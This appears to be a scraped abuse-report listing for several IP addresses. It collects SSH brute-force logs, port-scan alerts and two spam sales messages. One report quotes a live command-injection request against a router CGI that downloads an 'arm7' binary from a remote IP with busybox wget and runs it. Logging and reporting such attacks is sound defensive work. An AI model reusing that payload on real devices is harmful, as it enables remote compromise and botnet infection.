(From eric@talkwithcustomer.com) 
Hello romechiropractic.com,

People ask, “why does TalkWithCustomer work so well?”

It’s simple.

TalkWithCustomer enables you to connect with a prospective customer at EXACTLY the Perfect Time.

- NOT one week, two weeks, three weeks after they’ve checked out your website romechiropractic.com.
- NOT with a form letter style email that looks like it was written by a bot.
- NOT with a robocall that could come at any time out of the blue.

TalkWithCustomer connects you to that person within seconds of THEM asking to hear from YOU.

They kick off the conversation.

They take that first step.

They ask to hear from you regarding what you have to offer and how it can make their life better. 

And it happens almost immediately. In real time. While they’re still looking over your website romechiropractic.com, trying to make up their mind whether you are right for them.

When you connect with them at that very moment it’s the ultimate in Perfect Timing – as one

Sep 29 17:45:37 our-server-hostname sshd[12648]: reveeclipse mapping checking getaddrinfo for 192-3-41-181-host.colocrossing.com [192.3.41.181] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 29 17:45:42 our-server-hostname sshd[12648]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.3.41.181  user=r.r
Sep 29 17:45:42 our-server-hostname sshd[12648]: Failed password for r.r from 192.3.41.181 port 47234 ssh2
Sep 29 17:50:51 our-server-hostname sshd[13381]: reveeclipse mapping checking getaddrinfo for 192-3-41-181-host.colocrossing.com [192.3.41.181] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 29 17:50:51 our-server-hostname sshd[13381]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.3.41.181  user=r.r
Sep 29 17:50:53 our-server-hostname sshd[13381]: Failed password for r.r from 192.3.41.181 port 44558 ssh2
Sep 29 17:52:25 our-server-hostname sshd[13580]: reveeclipse mapping checking getaddrinfo ........
-------------------------------

Sep 29 17:45:37 our-server-hostname sshd[12648]: reveeclipse mapping checking getaddrinfo for 192-3-41-181-host.colocrossing.com [192.3.41.181] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 29 17:45:42 our-server-hostname sshd[12648]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.3.41.181  user=r.r
Sep 29 17:45:42 our-server-hostname sshd[12648]: Failed password for r.r from 192.3.41.181 port 47234 ssh2
Sep 29 17:50:51 our-server-hostname sshd[13381]: reveeclipse mapping checking getaddrinfo for 192-3-41-181-host.colocrossing.com [192.3.41.181] failed - POSSIBLE BREAK-IN ATTEMPT!
Sep 29 17:50:51 our-server-hostname sshd[13381]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.3.41.181  user=r.r
Sep 29 17:50:53 our-server-hostname sshd[13381]: Failed password for r.r from 192.3.41.181 port 44558 ssh2
Sep 29 17:52:25 our-server-hostname sshd[13580]: reveeclipse mapping checking getaddrinfo ........
-------------------------------

May 15 12:33:56  sshd\[30861\]: Invalid user system from 192.3.48.122May 15 12:33:58  sshd\[30861\]: Failed password for invalid user system from 192.3.48.122 port 51612 ssh2
...

May  8 10:14:10 XXX sshd[61599]: Invalid user jesse from 192.3.48.122 port 49170

2020-05-08T20:45:46.281065abusebot-6.cloudsearch.cf sshd[31017]: Invalid user aziz from 192.3.48.122 port 54610
2020-05-08T20:45:46.290994abusebot-6.cloudsearch.cf sshd[31017]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.3.48.122
2020-05-08T20:45:46.281065abusebot-6.cloudsearch.cf sshd[31017]: Invalid user aziz from 192.3.48.122 port 54610
2020-05-08T20:45:49.137505abusebot-6.cloudsearch.cf sshd[31017]: Failed password for invalid user aziz from 192.3.48.122 port 54610 ssh2
2020-05-08T20:49:31.803637abusebot-6.cloudsearch.cf sshd[31206]: Invalid user beni from 192.3.48.122 port 53770
2020-05-08T20:49:31.813195abusebot-6.cloudsearch.cf sshd[31206]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.3.48.122
2020-05-08T20:49:31.803637abusebot-6.cloudsearch.cf sshd[31206]: Invalid user beni from 192.3.48.122 port 53770
2020-05-08T20:49:33.881874abusebot-6.cloudsearch.cf sshd[31206]: Failed password fo
...

failed root login

Apr 19 12:07:52 ncomp sshd[10780]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.3.48.122  user=root
Apr 19 12:07:54 ncomp sshd[10780]: Failed password for root from 192.3.48.122 port 53578 ssh2
Apr 19 12:12:01 ncomp sshd[10906]: Invalid user admin from 192.3.48.122

2020-04-13T10:39:49.705234amanda2.illicoweb.com sshd\[20373\]: Invalid user sysgames from 192.3.48.122 port 40932
2020-04-13T10:39:49.711225amanda2.illicoweb.com sshd\[20373\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.3.48.122
2020-04-13T10:39:51.558426amanda2.illicoweb.com sshd\[20373\]: Failed password for invalid user sysgames from 192.3.48.122 port 40932 ssh2
2020-04-13T10:44:03.970282amanda2.illicoweb.com sshd\[20508\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.3.48.122  user=root
2020-04-13T10:44:06.354351amanda2.illicoweb.com sshd\[20508\]: Failed password for root from 192.3.48.122 port 49044 ssh2
...

(sshd) Failed SSH login from 192.3.48.122 (US/United States/192-3-48-122-host.colocrossing.com): 5 in the last 3600 secs

/cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http://192.3.45.185/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a

Automatic report - Malicious Script Upload

192.3.41.204 - - [24/Mar/2020:21:25:55 +0300] "POST //wp-login.php HTTP/1.1" 200 2767 "https://mertcangokgoz.com//wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"

(From eric@talkwithwebvisitor.com) Cool website!

My name’s Eric, and I just found your site - jbchiro.com - while surfing the net. You showed up at the top of the search results, so I checked you out. Looks like what you’re doing is pretty cool.
 
But if you don’t mind me asking – after someone like me stumbles across jbchiro.com, what usually happens?

Is your site generating leads for your business? 
 
I’m guessing some, but I also bet you’d like more… studies show that 7 out 10 who land on a site wind up leaving without a trace.

Not good.

Here’s a thought – what if there was an easy way for every visitor to “raise their hand” to get a phone call from you INSTANTLY… the second they hit your site and said, “call me now.”

You can –
  
Talk With Web Visitor is a software widget that’s works on your site, ready to capture any visitor’s Name, Email address and Phone Number.  It lets you know IMMEDIATELY – so that you can talk to that lead while they’re literally looking over your site.

CLI

Feb 26 14:19:51 server sshd\[17512\]: Invalid user artix from 192.3.47.242
Feb 26 14:19:51 server sshd\[17512\]: Failed none for invalid user artix from 192.3.47.242 port 47625 ssh2
Feb 26 15:23:38 server sshd\[29179\]: Invalid user artix from 192.3.47.242
Feb 26 15:23:38 server sshd\[29179\]: Failed none for invalid user artix from 192.3.47.242 port 47625 ssh2
Feb 26 16:38:33 server sshd\[9669\]: Invalid user test123 from 192.3.47.242
Feb 26 16:38:33 server sshd\[9669\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.3.47.242 
...

IP attempted unauthorised action

Unauthorized connection attempt detected from IP address 168.62.187.209 to port 9200

DATE:2020-01-03 05:46:45, IP:178.255.126.198, PORT:telnet Telnet brute force auth on honeypot server (honey-neo-dc)

Jan  3 05:42:45 dev0-dcde-rnet sshd[14542]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=144.217.47.174
Jan  3 05:42:47 dev0-dcde-rnet sshd[14542]: Failed password for invalid user ubuntu from 144.217.47.174 port 41897 ssh2
Jan  3 05:46:42 dev0-dcde-rnet sshd[14591]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=144.217.47.174

Unauthorized connection attempt detected from IP address 14.248.84.19 to port 445

MultiHost/MultiPort Probe, Scan, Hack -

Unauthorized connection attempt detected from IP address 14.163.119.116 to port 445

Unauthorized connection attempt from IP address 122.3.174.77 on Port 445(SMB)

Jan  3 05:39:53 yesfletchmain sshd\[1057\]: User root from 218.92.0.211 not allowed because not listed in AllowUsers
Jan  3 05:39:55 yesfletchmain sshd\[1057\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.92.0.211  user=root
Jan  3 05:39:57 yesfletchmain sshd\[1057\]: Failed password for invalid user root from 218.92.0.211 port 37185 ssh2
Jan  3 05:40:00 yesfletchmain sshd\[1057\]: Failed password for invalid user root from 218.92.0.211 port 37185 ssh2
Jan  3 05:40:02 yesfletchmain sshd\[1057\]: Failed password for invalid user root from 218.92.0.211 port 37185 ssh2
...

Dec 30 02:34:12 nbi-636 sshd[18205]: Invalid user www from 133.130.113.206 port 47576
Dec 30 02:34:14 nbi-636 sshd[18205]: Failed password for invalid user www from 133.130.113.206 port 47576 ssh2
Dec 30 02:34:15 nbi-636 sshd[18205]: Received disconnect from 133.130.113.206 port 47576:11: Bye Bye [preauth]
Dec 30 02:34:15 nbi-636 sshd[18205]: Disconnected from 133.130.113.206 port 47576 [preauth]
Dec 30 02:46:42 nbi-636 sshd[21067]: Invalid user sprules from 133.130.113.206 port 32808
Dec 30 02:46:45 nbi-636 sshd[21067]: Failed password for invalid user sprules from 133.130.113.206 port 32808 ssh2
Dec 30 02:46:45 nbi-636 sshd[21067]: Received disconnect from 133.130.113.206 port 32808:11: Bye Bye [preauth]
Dec 30 02:46:45 nbi-636 sshd[21067]: Disconnected from 133.130.113.206 port 32808 [preauth]
Dec 30 02:48:24 nbi-636 sshd[21279]: Invalid user ts3musicbot from 133.130.113.206 port 49314
Dec 30 02:48:26 nbi-636 sshd[21279]: Failed password for invalid user ts3musicbot ........
-------------------------------

<6 unauthorized SSH connections

20/1/2@23:46:37: FAIL: Alarm-Network address from=61.7.147.107
20/1/2@23:46:37: FAIL: Alarm-Network address from=61.7.147.107
...

Unauthorized connection attempt from IP address 14.185.199.52 on Port 445(SMB)

Jan  3 06:47:19 sso sshd[32022]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=206.189.129.174
Jan  3 06:47:21 sso sshd[32022]: Failed password for invalid user vs from 206.189.129.174 port 56012 ssh2
...

Fail2Ban - SSH Bruteforce Attempt

Jan  2 23:46:22 web1 postfix/smtpd[13868]: warning: unknown[185.234.216.140]: SASL LOGIN authentication failed: authentication failure
...